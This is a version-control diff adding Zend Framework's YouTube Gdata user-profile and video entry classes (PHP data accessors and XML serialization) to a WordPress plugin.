+     *
+     * @var string
+     */
+    protected $_username = null;
+
+    /**
+     * The description of the user
+     *
+     * @var string
+     */
+    protected $_description = null;
+    
+    /**
+     * The contents of the 'About Me' field.
+     *
+     * @var string
+     */
+    protected $_aboutMe = null;
+
+    /**
+     * The age of the user
+     *
+     * @var int
+     */
+    protected $_age = null;
+
+    /**
+     * Books of interest to the user
+     *
+     * @var string
+     */
+    protected $_books = null;
+
+    /**
+     * Company
+     *
+     * @var string
+     */
+    protected $_company = null;
+
+    /**
+     * Hobbies
+     *
+     * @var string
+     */
+    protected $_hobbies = null;
+
+    /**
+     * Hometown
+     *
+     * @var string
+     */
+    protected $_hometown = null;
+
+    /**
+     * Location
+     *
+     * @var string
+     */
+    protected $_location = null;
+
+    /**
+     * Movies
+     *
+     * @var string
+     */
+    protected $_movies = null;
+
+    /**
+     * Music
+     *
+     * @var string
+     */
+    protected $_music = null;
+
+    /**
+     * Occupation
+     *
+     * @var string
+     */
+    protected $_occupation = null;
+
+    /**
+     * School
+     *
+     * @var string
+     */
+    protected $_school = null;
+
+    /**
+     * Gender
+     *
+     * @var string
+     */
+    protected $_gender = null;
+
+    /**
+     * Relationship
+     *
+     * @var string
+     */
+    protected $_relationship = null;
+
+    /**
+     * First name
+     *
+     * @var string
+     */
+    protected $_firstName = null;
+    
+    /**
+     * Last name
+     *
+     * @var string
+     */
+    protected $_lastName = null;
+    
+    /**
+     * Statistics
+     *
+     * @var Zend_Gdata_YouTube_Extension_Statistics
+     */
+    protected $_statistics = null;
+
+    /**
+     * Thumbnail
+     *
+     * @var Zend_Gdata_Media_Extension_MediaThumbnail
+     */
+    protected $_thumbnail = null;
+
+    /**
+     * Creates a User Profile entry, representing an individual user
+     * and their attributes.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_description != null) {
+            $element->appendChild($this->_description->getDOM($element->ownerDocument));
+        }
+        if ($this->_aboutMe != null) {
+            $element->appendChild($this->_aboutMe->getDOM($element->ownerDocument));
+        }
+        if ($this->_age != null) {
+            $element->appendChild($this->_age->getDOM($element->ownerDocument));
+        }
+        if ($this->_username != null) {
+            $element->appendChild($this->_username->getDOM($element->ownerDocument));
+        }
+        if ($this->_books != null) {
+            $element->appendChild($this->_books->getDOM($element->ownerDocument));
+        }
+        if ($this->_company != null) {
+            $element->appendChild($this->_company->getDOM($element->ownerDocument));
+        }
+        if ($this->_hobbies != null) {
+            $element->appendChild($this->_hobbies->getDOM($element->ownerDocument));
+        }
+        if ($this->_hometown != null) {
+            $element->appendChild($this->_hometown->getDOM($element->ownerDocument));
+        }
+        if ($this->_location != null) {
+            $element->appendChild($this->_location->getDOM($element->ownerDocument));
+        }
+        if ($this->_movies != null) {
+            $element->appendChild($this->_movies->getDOM($element->ownerDocument));
+        }
+        if ($this->_music != null) {
+            $element->appendChild($this->_music->getDOM($element->ownerDocument));
+        }
+        if ($this->_occupation != null) {
+            $element->appendChild($this->_occupation->getDOM($element->ownerDocument));
+        }
+        if ($this->_school != null) {
+            $element->appendChild($this->_school->getDOM($element->ownerDocument));
+        }
+        if ($this->_gender != null) {
+            $element->appendChild($this->_gender->getDOM($element->ownerDocument));
+        }
+        if ($this->_relationship != null) {
+            $element->appendChild($this->_relationship->getDOM($element->ownerDocument));
+        }
+        if ($this->_firstName != null) {
+            $element->appendChild($this->_firstName->getDOM($element->ownerDocument));
+        }
+        if ($this->_lastName != null) {
+            $element->appendChild($this->_lastName->getDOM($element->ownerDocument));
+        }
+        if ($this->_statistics != null) {
+            $element->appendChild($this->_statistics->getDOM($element->ownerDocument));
+        }
+        if ($this->_thumbnail != null) {
+            $element->appendChild($this->_thumbnail->getDOM($element->ownerDocument));
+        }
+        if ($this->_feedLink != null) {
+            foreach ($this->_feedLink as $feedLink) {
+                $element->appendChild($feedLink->getDOM($element->ownerDocument));
+            }
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('yt') . ':' . 'description':
+            $description = new Zend_Gdata_YouTube_Extension_Description();
+            $description->transferFromDOM($child);
+            $this->_description = $description;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'aboutMe':
+            $aboutMe = new Zend_Gdata_YouTube_Extension_AboutMe();
+            $aboutMe->transferFromDOM($child);
+            $this->_aboutMe = $aboutMe;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'age':
+            $age = new Zend_Gdata_YouTube_Extension_Age();
+            $age->transferFromDOM($child);
+            $this->_age = $age;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'username':
+            $username = new Zend_Gdata_YouTube_Extension_Username();
+            $username->transferFromDOM($child);
+            $this->_username = $username;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'books':
+            $books = new Zend_Gdata_YouTube_Extension_Books();
+            $books->transferFromDOM($child);
+            $this->_books = $books;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'company':
+            $company = new Zend_Gdata_YouTube_Extension_Company();
+            $company->transferFromDOM($child);
+            $this->_company = $company;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'hobbies':
+            $hobbies = new Zend_Gdata_YouTube_Extension_Hobbies();
+            $hobbies->transferFromDOM($child);
+            $this->_hobbies = $hobbies;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'hometown':
+            $hometown = new Zend_Gdata_YouTube_Extension_Hometown();
+            $hometown->transferFromDOM($child);
+            $this->_hometown = $hometown;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'location':
+            $location = new Zend_Gdata_YouTube_Extension_Location();
+            $location->transferFromDOM($child);
+            $this->_location = $location;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'movies':
+            $movies = new Zend_Gdata_YouTube_Extension_Movies();
+            $movies->transferFromDOM($child);
+            $this->_movies = $movies;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'music':
+            $music = new Zend_Gdata_YouTube_Extension_Music();
+            $music->transferFromDOM($child);
+            $this->_music = $music;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'occupation':
+            $occupation = new Zend_Gdata_YouTube_Extension_Occupation();
+            $occupation->transferFromDOM($child);
+            $this->_occupation = $occupation;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'school':
+            $school = new Zend_Gdata_YouTube_Extension_School();
+            $school->transferFromDOM($child);
+            $this->_school = $school;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'gender':
+            $gender = new Zend_Gdata_YouTube_Extension_Gender();
+            $gender->transferFromDOM($child);
+            $this->_gender = $gender;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'relationship':
+            $relationship = new Zend_Gdata_YouTube_Extension_Relationship();
+            $relationship->transferFromDOM($child);
+            $this->_relationship = $relationship;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'firstName':
+            $firstName = new Zend_Gdata_YouTube_Extension_FirstName();
+            $firstName->transferFromDOM($child);
+            $this->_firstName = $firstName;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'lastName':
+            $lastName = new Zend_Gdata_YouTube_Extension_LastName();
+            $lastName->transferFromDOM($child);
+            $this->_lastName = $lastName;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'statistics':
+            $statistics = new Zend_Gdata_YouTube_Extension_Statistics();
+            $statistics->transferFromDOM($child);
+            $this->_statistics = $statistics;
+            break;
+        case $this->lookupNamespace('media') . ':' . 'thumbnail':
+            $thumbnail = new Zend_Gdata_Media_Extension_MediaThumbnail();
+            $thumbnail->transferFromDOM($child);
+            $this->_thumbnail = $thumbnail;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'feedLink':
+            $feedLink = new Zend_Gdata_Extension_FeedLink();
+            $feedLink->transferFromDOM($child);
+            $this->_feedLink[] = $feedLink;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Sets the content of the 'about me' field.
+     *
+     * @param Zend_Gdata_YouTube_Extension_AboutMe $aboutMe The 'about me'
+     *        information.
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setAboutMe($aboutMe = null)
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The setAboutMe ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            $this->_aboutMe = $aboutMe;
+            return $this;
+        }
+    }
+
+    /**
+     * Returns the contents of the 'about me' field.
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_AboutMe  The 'about me' information
+     */
+    public function getAboutMe()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getAboutMe ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_aboutMe;
+        }
+    }
+
+    /**
+     * Sets the content of the 'first name' field.
+     *
+     * @param Zend_Gdata_YouTube_Extension_FirstName $firstName The first name
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setFirstName($firstName = null)
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The setFirstName ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            $this->_firstName = $firstName;
+            return $this;
+        }
+    }
+
+    /**
+     * Returns the first name
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_FirstName  The first name
+     */
+    public function getFirstName()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getFirstName ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_firstName;
+        }
+    }
+
+    /**
+     * Sets the content of the 'last name' field.
+     *
+     * @param Zend_Gdata_YouTube_Extension_LastName $lastName The last name
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setLastName($lastName = null)
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The setLastName ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            $this->_lastName = $lastName;
+            return $this;
+        }
+    }
+
+    /**
+     * Returns the last name
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_LastName  The last name
+     */
+    public function getLastName()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getLastName ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_lastName;
+        }
+    }
+
+    /**
+     * Returns the statistics
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_Statistics  The profile statistics
+     */
+    public function getStatistics()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getStatistics ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_statistics;
+        }
+    }
+    
+    /**
+     * Returns the thumbnail
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_Media_Extension_MediaThumbnail The profile thumbnail
+     */
+    public function getThumbnail()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+           ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getThumbnail ' .
+                ' method is only supported as of version 2 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_thumbnail;
+        }
+    }
+
+    /**
+     * Sets the age
+     *
+     * @param Zend_Gdata_YouTube_Extension_Age $age The age
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setAge($age = null)
+    {
+        $this->_age = $age;
+        return $this;
+    }
+
+    /**
+     * Returns the age
+     *
+     * @return Zend_Gdata_YouTube_Extension_Age  The age
+     */
+    public function getAge()
+    {
+        return $this->_age;
+    }
+
+    /**
+     * Sets the username
+     *
+     * @param Zend_Gdata_YouTube_Extension_Username $username The username
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setUsername($username = null)
+    {
+        $this->_username = $username;
+        return $this;
+    }
+
+    /**
+     * Returns the username
+     *
+     * @return Zend_Gdata_YouTube_Extension_Username  The username
+     */
+    public function getUsername()
+    {
+        return $this->_username;
+    }
+
+    /**
+     * Sets the books
+     *
+     * @param Zend_Gdata_YouTube_Extension_Books $books The books
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setBooks($books = null)
+    {
+        $this->_books = $books;
+        return $this;
+    }
+
+    /**
+     * Returns the books
+     *
+     * @return Zend_Gdata_YouTube_Extension_Books  The books
+     */
+    public function getBooks()
+    {
+        return $this->_books;
+    }
+
+    /**
+     * Sets the company
+     *
+     * @param Zend_Gdata_YouTube_Extension_Company $company The company
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setCompany($company = null)
+    {
+        $this->_company = $company;
+        return $this;
+    }
+
+    /**
+     * Returns the company
+     *
+     * @return Zend_Gdata_YouTube_Extension_Company  The company
+     */
+    public function getCompany()
+    {
+        return $this->_company;
+    }
+
+    /**
+     * Sets the hobbies
+     *
+     * @param Zend_Gdata_YouTube_Extension_Hobbies $hobbies The hobbies
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setHobbies($hobbies = null)
+    {
+        $this->_hobbies = $hobbies;
+        return $this;
+    }
+
+    /**
+     * Returns the hobbies
+     *
+     * @return Zend_Gdata_YouTube_Extension_Hobbies  The hobbies
+     */
+    public function getHobbies()
+    {
+        return $this->_hobbies;
+    }
+
+    /**
+     * Sets the hometown
+     *
+     * @param Zend_Gdata_YouTube_Extension_Hometown $hometown The hometown
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setHometown($hometown = null)
+    {
+        $this->_hometown = $hometown;
+        return $this;
+    }
+
+    /**
+     * Returns the hometown
+     *
+     * @return Zend_Gdata_YouTube_Extension_Hometown  The hometown
+     */
+    public function getHometown()
+    {
+        return $this->_hometown;
+    }
+
+    /**
+     * Sets the location
+     *
+     * @param Zend_Gdata_YouTube_Extension_Location $location The location
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setLocation($location = null)
+    {
+        $this->_location = $location;
+        return $this;
+    }
+
+    /**
+     * Returns the location
+     *
+     * @return Zend_Gdata_YouTube_Extension_Location  The location
+     */
+    public function getLocation()
+    {
+        return $this->_location;
+    }
+
+    /**
+     * Sets the movies
+     *
+     * @param Zend_Gdata_YouTube_Extension_Movies $movies The movies
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setMovies($movies = null)
+    {
+        $this->_movies = $movies;
+        return $this;
+    }
+
+    /**
+     * Returns the movies
+     *
+     * @return Zend_Gdata_YouTube_Extension_Movies  The movies
+     */
+    public function getMovies()
+    {
+        return $this->_movies;
+    }
+
+    /**
+     * Sets the music
+     *
+     * @param Zend_Gdata_YouTube_Extension_Music $music The music
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setMusic($music = null)
+    {
+        $this->_music = $music;
+        return $this;
+    }
+
+    /**
+     * Returns the music
+     *
+     * @return Zend_Gdata_YouTube_Extension_Music  The music
+     */
+    public function getMusic()
+    {
+        return $this->_music;
+    }
+
+    /**
+     * Sets the occupation
+     *
+     * @param Zend_Gdata_YouTube_Extension_Occupation $occupation The occupation
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setOccupation($occupation = null)
+    {
+        $this->_occupation = $occupation;
+        return $this;
+    }
+
+    /**
+     * Returns the occupation
+     *
+     * @return Zend_Gdata_YouTube_Extension_Occupation  The occupation
+     */
+    public function getOccupation()
+    {
+        return $this->_occupation;
+    }
+
+    /**
+     * Sets the school
+     *
+     * @param Zend_Gdata_YouTube_Extension_School $school The school
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setSchool($school = null)
+    {
+        $this->_school = $school;
+        return $this;
+    }
+
+    /**
+     * Returns the school
+     *
+     * @return Zend_Gdata_YouTube_Extension_School  The school
+     */
+    public function getSchool()
+    {
+        return $this->_school;
+    }
+
+    /**
+     * Sets the gender
+     *
+     * @param Zend_Gdata_YouTube_Extension_Gender $gender The gender
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setGender($gender = null)
+    {
+        $this->_gender = $gender;
+        return $this;
+    }
+
+    /**
+     * Returns the gender
+     *
+     * @return Zend_Gdata_YouTube_Extension_Gender  The gender
+     */
+    public function getGender()
+    {
+        return $this->_gender;
+    }
+
+    /**
+     * Sets the relationship
+     *
+     * @param Zend_Gdata_YouTube_Extension_Relationship $relationship The relationship
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setRelationship($relationship = null)
+    {
+        $this->_relationship = $relationship;
+        return $this;
+    }
+
+    /**
+     * Returns the relationship
+     *
+     * @return Zend_Gdata_YouTube_Extension_Relationship  The relationship
+     */
+    public function getRelationship()
+    {
+        return $this->_relationship;
+    }
+
+    /**
+     * Sets the array of embedded feeds related to the video
+     *
+     * @param array $feedLink The array of embedded feeds relating to the video
+     * @return Zend_Gdata_YouTube_UserProfileEntry Provides a fluent interface
+     */
+    public function setFeedLink($feedLink = null)
+    {
+        $this->_feedLink = $feedLink;
+        return $this;
+    }
+
+    /**
+     * Get the feed link property for this entry.
+     *
+     * @see setFeedLink
+     * @param string $rel (optional) The rel value of the link to be found.
+     *          If null, the array of links is returned.
+     * @return mixed If $rel is specified, a Zend_Gdata_Extension_FeedLink
+     *          object corresponding to the requested rel value is returned
+     *          if found, or null if the requested value is not found. If
+     *          $rel is null or not specified, an array of all available
+     *          feed links for this entry is returned, or null if no feed
+     *          links are set.
+     */
+    public function getFeedLink($rel = null)
+    {
+        if ($rel == null) {
+            return $this->_feedLink;
+        } else {
+            foreach ($this->_feedLink as $feedLink) {
+                if ($feedLink->rel == $rel) {
+                    return $feedLink;
+                }
+            }
+            return null;
+        }
+    }
+
+    /**
+     * Returns the URL in the gd:feedLink with the provided rel value
+     *
+     * @param string $rel The rel value to find
+     * @return mixed Either the URL as a string or null if a feedLink wasn't
+     *     found with the provided rel value
+     */
+    public function getFeedLinkHref($rel)
+    {
+        $feedLink = $this->getFeedLink($rel);
+        if ($feedLink !== null) {
+            return $feedLink->href;
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the URL of the playlist list feed
+     *
+     * @return string The URL of the playlist video feed
+     */
+    public function getPlaylistListFeedUrl()
+    {
+        return getFeedLinkHref(Zend_Gdata_YouTube::USER_PLAYLISTS_REL);
+    }
+
+    /**
+     * Returns the URL of the uploads feed
+     *
+     * @return string The URL of the uploads video feed
+     */
+    public function getUploadsFeedUrl()
+    {
+        return getFeedLinkHref(Zend_Gdata_YouTube::USER_UPLOADS_REL);
+    }
+
+    /**
+     * Returns the URL of the subscriptions feed
+     *
+     * @return string The URL of the subscriptions feed
+     */
+    public function getSubscriptionsFeedUrl()
+    {
+        return getFeedLinkHref(Zend_Gdata_YouTube::USER_SUBSCRIPTIONS_REL);
+    }
+
+    /**
+     * Returns the URL of the contacts feed
+     *
+     * @return string The URL of the contacts feed
+     */
+    public function getContactsFeedUrl()
+    {
+        return getFeedLinkHref(Zend_Gdata_YouTube::USER_CONTACTS_REL);
+    }
+
+    /**
+     * Returns the URL of the favorites feed
+     *
+     * @return string The URL of the favorites feed
+     */
+    public function getFavoritesFeedUrl()
+    {
+        return getFeedLinkHref(Zend_Gdata_YouTube::USER_FAVORITES_REL);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/VideoEntry.php	(revision 44)
@@ -0,0 +1,1095 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: VideoEntry.php 13359 2008-12-18 22:49:31Z jhartmann $
+ */
+
+/**
+ * @see Zend_Gdata_Extension_Comments
+ */
+require_once 'Zend/Gdata/Extension/Comments.php';
+
+/**
+ * @see Zend_Gdata_Extension_FeedLink
+ */
+require_once 'Zend/Gdata/Extension/FeedLink.php';
+
+/**
+ * @see Zend_Gdata_YouTube_MediaEntry
+ */
+require_once 'Zend/Gdata/YouTube/MediaEntry.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_MediaGroup
+ */
+require_once 'Zend/Gdata/YouTube/Extension/MediaGroup.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_NoEmbed
+ */
+require_once 'Zend/Gdata/YouTube/Extension/NoEmbed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Statistics
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Statistics.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Link
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Link.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Racy
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Racy.php';
+
+/**
+ * @see Zend_Gdata_Extension_Rating
+ */
+require_once 'Zend/Gdata/Extension/Rating.php';
+
+/**
+ * @see Zend_Gdata_Geo_Extension_GeoRssWhere
+ */
+require_once 'Zend/Gdata/Geo/Extension/GeoRssWhere.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Control
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Control.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Recorded
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Recorded.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Location
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Location.php';
+
+/**
+ * Represents the YouTube video flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_VideoEntry extends Zend_Gdata_YouTube_MediaEntry
+{
+
+    const YOUTUBE_DEVELOPER_TAGS_SCHEMA = 'http://gdata.youtube.com/schemas/2007/developertags.cat';
+    const YOUTUBE_CATEGORY_SCHEMA = 'http://gdata.youtube.com/schemas/2007/categories.cat';
+    protected $_entryClassName = 'Zend_Gdata_YouTube_VideoEntry';
+
+    /**
+     * If null, the video can be embedded
+     *
+     * @var Zend_Gdata_YouTube_Extension_NoEmbed|null
+     */
+    protected $_noEmbed = null;
+
+    /**
+     * Specifies the statistics relating to the video.
+     *
+     * @var Zend_Gdata_YouTube_Extension_Statistics
+     */
+    protected $_statistics = null;
+
+    /**
+     * If not null, specifies that the video has racy content.
+     *
+     * @var Zend_Gdata_YouTube_Extension_Racy|null
+     */
+    protected $_racy = null;
+
+    /**
+     * If not null, specifies that the video is private.
+     *
+     * @var Zend_Gdata_YouTube_Extension_Private|null
+     */
+    protected $_private = null;
+
+    /**
+     * Specifies the video's rating.
+     *
+     * @var Zend_Gdata_Extension_Rating
+     */
+    protected $_rating = null;
+
+    /**
+     * Specifies the comments associated with a video.
+     *
+     * @var Zend_Gdata_Extensions_Comments
+     */
+    protected $_comments = null;
+
+    /**
+     * Nested feed links
+     *
+     * @var array
+     */
+    protected $_feedLink = array();
+
+    /**
+     * Geo location for the video
+     *
+     * @var Zend_Gdata_Geo_Extension_GeoRssWhere
+     */
+    protected $_where = null;
+
+    /**
+     * Recording date for the video
+     *
+     * @var Zend_Gdata_YouTube_Extension_Recorded|null
+     */
+    protected $_recorded = null;
+
+    /**
+     * Location informtion for the video
+     *
+     * @var Zend_Gdata_YouTube_Extension_Location|null
+     */
+    protected $_location = null;
+
+    /**
+     * Creates a Video entry, representing an individual video
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_noEmbed != null) {
+            $element->appendChild($this->_noEmbed->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_statistics != null) {
+            $element->appendChild($this->_statistics->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_racy != null) {
+            $element->appendChild($this->_racy->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_recorded != null) {
+            $element->appendChild($this->_recorded->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_location != null) {
+            $element->appendChild($this->_location->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_rating != null) {
+            $element->appendChild($this->_rating->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_comments != null) {
+            $element->appendChild($this->_comments->getDOM(
+                $element->ownerDocument));
+        }
+        if ($this->_feedLink != null) {
+            foreach ($this->_feedLink as $feedLink) {
+                $element->appendChild($feedLink->getDOM(
+                    $element->ownerDocument));
+            }
+        }
+        if ($this->_where != null) {
+           $element->appendChild($this->_where->getDOM(
+                $element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('yt') . ':' . 'statistics':
+            $statistics = new Zend_Gdata_YouTube_Extension_Statistics();
+            $statistics->transferFromDOM($child);
+            $this->_statistics = $statistics;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'racy':
+            $racy = new Zend_Gdata_YouTube_Extension_Racy();
+            $racy->transferFromDOM($child);
+            $this->_racy = $racy;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'recorded':
+            $recorded = new Zend_Gdata_YouTube_Extension_Recorded();
+            $recorded->transferFromDOM($child);
+            $this->_recorded = $recorded;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'location':
+            $location = new Zend_Gdata_YouTube_Extension_Location();
+            $location->transferFromDOM($child);
+            $this->_location = $location;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'rating':
+            $rating = new Zend_Gdata_Extension_Rating();
+            $rating->transferFromDOM($child);
+            $this->_rating = $rating;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'comments':
+            $comments = new Zend_Gdata_Extension_Comments();
+            $comments->transferFromDOM($child);
+            $this->_comments = $comments;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'noembed':
